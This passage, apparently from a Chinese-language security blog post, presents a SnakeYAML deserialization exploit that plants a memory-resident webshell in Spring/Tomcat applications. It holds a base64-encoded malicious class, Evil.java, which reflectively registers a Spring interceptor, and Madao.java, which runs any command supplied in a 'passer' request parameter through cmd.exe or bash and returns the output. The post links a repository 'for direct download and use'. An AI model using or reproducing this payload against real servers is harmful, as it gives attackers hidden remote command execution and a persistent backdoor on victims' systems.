ZPMkFBMDZCYnNBRUZtN0FCRlpHUVcyQUJLM0FCTzNBQlE2QnJzQUZWbTNBQlk2QnhrR3RnQVhXVG9JeGdBZ0dRZTdBQlZadHdBV0dRaTJBQmdRQ3JZQUdiWUFHcllBR0Zlbi85c3N1UUFiQVFBWkI3WUFHcllBSExZQUhTeTVBQnNCQUxZQUhpeTVBQnNCQUxZQUg2Y0FEQ3dSQVpTNUFDQUNBQU9zQkt3QUFBQURBQ1lBQUFCR0FCRUFBQUFNQUFzQURRQVZBQTRBR2dBUUFDb0FFUUJJQUJNQVl3QVdBSGdBRndDQkFCb0FqQUFiQUtrQUhnQzZBQjhBd3dBZ0FNd0FJUURQQUNJQTJBQWtBTm9BSmdBbkFBQUFaZ0FLQUVVQUF3QXNBQzBBQlFCakFHa0FMQUF0QUFVQWVBQlVBQzRBTHdBR0FJRUFTd0F3QURFQUJ3Q0pBRU1BTWdBekFBZ0FGUURGQURRQU13QUVBQUFBM0FBb0FDa0FBQUFBQU53QU5RQTJBQUVBQUFEY0FEY0FPQUFDQUFBQTNBQTVBRG9BQXdBN0FBQUFOd0FIL0FCSUJ3QTgvQUFhQndBOS9RQWRCd0ErQndBLy9BQW5Cd0E4L3dBbEFBVUhBRUFIQUVFSEFFSUhBRU1IQUR3QUFBajZBQUVBUkFBQUFBUUFBUUJGQUFFQVJnQUFBQUlBUnc9PQwAXgBfDAC8ALcMAL0AvgcAvwwAwABGDADBAKMHAMIMAMMAxgcAxwwAyADJDADKAMsBAA5hcnRzcGxvaXQvRXZpbAEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQASamF2YS91dGlsL0l0ZXJhdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQANZ2V0U3VwZXJjbGFzcwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC25ld0luc3RhbmNlAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RGVjb2RlcgEAB0RlY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JERlY29kZXI7AQAYamF2YS91dGlsL0Jhc2U2NCREZWNvZGVyAQAGZGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7ACEALwAJAAAAAAACAAEAMAAxAAIAMgAAA10ABgATAAABnSq3AAG4AAK2AANMuAACtgADtgAEtgAFtgAFEgYDvQAHtgAITSwrA70ACbYACk4sKwO9AAm2AAq2AAQSCwO9AAe2AAg6BBkELQO9AAm2AAo6BRkELQO9AAm2AAq2AAS2AAUSDLYADToGGQYEtgAOGQYZBbYADzoHGQYZBbYAD7YABBIQBL0AB1kDEhFTtgAIOggZCBkHBL0ACVkDEhJTtgAKOgkZCBkHBL0ACVkDEhJTtgAKtgAEtgAFtgAFtgAFtgAFOgoZChITBL0AB1kDEhFTtgAIOgsZChIUA70AB7YACDoMGQsZCQS9AAlZAxIVU7YACjoNGQsZCQS9AAlZAxIVU7YACrYABLYABbYABbYABRIWtgANOg4ZDgS2AA6yABcSGLYAGRkOGQ22AA/AABo6DxkPtgAbOhAZELkAHAEAmQAgGRC5AB0BADoRGRG2AAS2AB4SH7YAIJkABLGn/9wZBC0DvQAJtgAKtgAEEiEDvQAHtgAIOhAZEBkFA70ACbYACsAAIjoRGRESI7gAJDoSGQ8ZErYAJbYAJlexAAAABAAzAAAAcgAcAAAACAAEAAsACwAMACQADwAuABAARQARAFEAFQBoABYAbgAYAHcAGQCRABsAowAcAMQAHwDWACAA4wApAPUAKwEYAC0BHgAuASYALwEyADABTAAxAVwAMgFdADQBYAA3AXgAOAGIADkBkQA6AZwAOwA0AAAAygAUAUwAEQA1ADYAEQAAAZ0ANwA4AAAACwGSADkAOgABACQBeQA7ADwAAgAuAW8APQA2AAMARQFYAD4APAAEAFEBTAA/ADYABQBoATUAQABBAAYAdwEmAEIANgAHAJEBDABDADwACACjAPoARAA2AAkAxADZAEUARgAKANYAxwBHADwACwDjALoASAA8AAwA9QCoAEkANgANARgAhQBKAEEADgEyAGsASwBMAA8BeAAlAE0APAAQAYgAFQBOADoAEQGRAAwATwBGABIAUAAAACAAAwDEANkARQBRAAoBMgBrAEsAUgAPAZEADABPAFEAEgBTAAAAQAAD/wE5ABEHAFQHAFUHAFYHAFcHAFYHAFcHAFgHAFcHAFYHAFcHAFkHAFYHAFYHAFcHAFgHAFoHAFsAACP6AAIAXAAAAAQAAQBdAAkAXgBfAAIAMgAAAJ4ABgAEAAAAShIiEicGvQAHWQMSKFNZBLIAKVNZBbIAKVO2ACpNLAS2ACu4ACwrtgAtTiwqBr0ACVkDLVNZBAO4AC5TWQUtvrgALlO2AArAAAewAAAAAgAzAAAAEgAEAAAAPgAdAD8AIgBAACoAQQA0AAAAKgAEAAAASgBgADoAAAAAAEoAYQBiAAEAHQAtAF4APAACACoAIABjAGQAAwBcAAAABAABAF0AAgBlAAAAAgBmAMUAAAAKAAEAkgCQAMQACQ=="); evilClass.newInstance(); } catch (Exception e) { e.printStackTrace(); } } public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClass.setAccessible(true); byte[] evalBytes = Base64.getDecoder().decode(classByte); return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length}); } public String getEngineName() { return null; } public String getEngineVersion() { return null; } public List<String> getExtensions() { return null; } public List<String> getMimeTypes() { return null; } public List<String> getNames() { return null; } public String getLanguageName() { return null; } public String getLanguageVersion() { return null; } public Object getParameter(String key) { return null; } public String getMethodCallSyntax(String obj, String m, String... args) { return null; } public String getOutputStatement(String toDisplay) { return null; } public String getProgram(String... statements) { return null; } public ScriptEngine getScriptEngine() { return null; } }
Evil.class
package artsploit; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.Base64; public class Evil { public Evil() throws Exception { // 从当前线程取出上下文,适用于多线程情况 -> 会报错,还是反射调用吧 // Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext(); ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader(); Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources"); Object resources = getResources.invoke(tomcatClassLoader); Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext"); Object tomcatEmbeddedContext = (Object) getContext.invoke(resources); // 取出 ApplicationContext Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context"); contextField.setAccessible(true); Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext); Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class); Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT"); Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); Method getBean = abstractApplicationContext.getMethod("getBean", String.class); Method getBeanDefinitionNames = abstractApplicationContext.getMethod("getBeanDefinitionNames"); // 测试输出所有 Bean 成功 // Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext); // for(Object r:result){ // System.out.println(r.toString()); // } // 单例模式,不能用 getBean -> SingletonObjects Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping"); // 反射获取adaptedInterceptors属性 Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors"); field.setAccessible(true); System.out.println("1ok"); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); for (Object i : adaptedInterceptors) { if (i.getClass().getName().contains("Madao")) { return; } } // 获取主线程的类加载器 Method getParentCLassLoader = getContext.invoke(resources).getClass().getMethod("getParentClassLoader"); ClassLoader parentClassLoader = (ClassLoader) getParentCLassLoader.invoke(tomcatEmbeddedContext); Class<?> madaoClass = defineClass(parentClassLoader, "yv66vgAAADQAlQoAIgBICABJCwBKAEsIAEwKAE0ATgoACgBPCABQCgAKAFEKAFIAUwcAVAgAVQgAVgoAUgBXCABYCABZBwBaBwBbCgBcAF0KABEAXgoAEABfBwBgCgAVAEgKABAAYQoAFQBiCgAVAGMKABUAZAsAZQBmCgAKAGcKAGgAaQoAaABqCgBoAGsLAGUAbAcAbQcAbgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTGFydHNwbG9pdC9NYWRhbzsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAEbGluZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAA2NtZAEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQANU3RhY2tNYXBUYWJsZQcAVAcAbwcAWgcAYAcAbQcAcAcAcQcAcgEACkV4Y2VwdGlvbnMHAHMBAApTb3VyY2VGaWxlAQAKTWFkYW8uamF2YQwAIwAkAQAGcGFzc2VyBwBwDAB0AHUBAAdvcy5uYW1lBwB2DAB3AHUMAHgAeQEAA3dpbgwAegB7BwB8DAB9AH4BABBqYXZhL2xhbmcvU3RyaW5nAQAHY21kLmV4ZQEAAi9jDAB/AIABAARiYXNoAQACLWMBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAbwwAgQCCDAAjAIMMACMAhAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDACFAHkMAIYAhwwAhgCIDACJAHkHAHEMAIoAiwwAjACNBwCODACPAJAMAJEAJAwAkgAkDACTAJQBAA9hcnRzcGxvaXQvTWFkYW8BAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvSGFuZGxlckludGVyY2VwdG9yQWRhcHRlcgEAEWphdmEvbGFuZy9Qcm9jZXNzAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAQamF2YS9sYW5nL09iamVjdAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAHChDKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBAAhnZXRCeXRlcwEABCgpW0IBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAVjbG9zZQEACXNlbmRFcnJvcgEABChJKVYAIQAhACIAAAAAAAIAAQAjACQAAQAlAAAALwABAAEAAAAFKrcAAbEAAAACACYAAAAGAAEAAAAKACcAAAAMAAEAAAAFACgAKQAAAAEAKgArAAIAJQAAAd0ABQAJAAAA3CsSArkAAwIAxgDSKxICuQADAgA6BBkExgC4EgS4AAW2AAYSB7YACJkAIbgACQa9AApZAxILU1kEEgxTWQUZBFO2AA06BacAHrgACQa9AApZAxIOU1kEEg9TWQUZBFO2AA06BbsAEFm7ABFZGQW2ABK3ABO3ABQ6BrsAFVm3ABY6BxkGtgAXWToIxgAgGQe7ABVZtwAWGQi2ABgQCrYAGbYAGrYAGFen/9ssuQAbAQAZB7YAGrYAHLYAHSy5ABsBALYAHiy5ABsBALYAH6cADCwRAZS5ACACAAOsBKwAAAADACYAAABGABEAAAAMAAsADQAVAA4AGgAQACoAEQBIABMAYwAWAHgAFwCBABoAjAAbAKkAHgC6AB8AwwAgAMwAIQDPACIA2AAkANoAJgAnAAAAZgAKAEUAAwAsAC0ABQBjAGkALAAtAAUAeABUAC4ALwAGAIEASwAwADEABwCJAEMAMgAzAAgAFQDFADQAMwAEAAAA3AAoACkAAAAAANwANQA2AAEAAADcADcAOAACAAAA3AA5ADoAAwA7AAAANwAH/ABIBwA8/AAaBwA9/QAdBwA+BwA//AAnBwA8/wAlAAUHAEAHAEEHAEIHAEMHADwAAAj6AAEARAAAAAQAAQBFAAEARgAAAAIARw=="); adaptedInterceptors.add(madaoClass.newInstance()); } public static Class defineClass(ClassLoader classLoader, String classByte) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); defineClass.setAccessible(true); byte[] evalBytes = Base64.getDecoder().decode(classByte); return (Class<?>) defineClass.invoke(classLoader, new Object[]{evalBytes, 0, evalBytes.length}); } }
MaDao.class
:
package artsploit; import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; public class Madao extends HandlerInterceptorAdapter { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getParameter("passer") != null) { String cmd = request.getParameter("passer"); if (cmd != null) { Process process; if (System.getProperty("os.name").toLowerCase().contains("win")) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } response.getOutputStream().write(stringBuilder.toString().getBytes()); response.getOutputStream().flush(); response.getOutputStream().close(); } else { response.sendError(404); } return false; } return true; } }
只需打包AwesomeScriptEngineFactory.class
即可,访问测试:
成功注入:
项目地址:https://github.com/passer-W/snakeyaml-memshell ,可直接下载使用。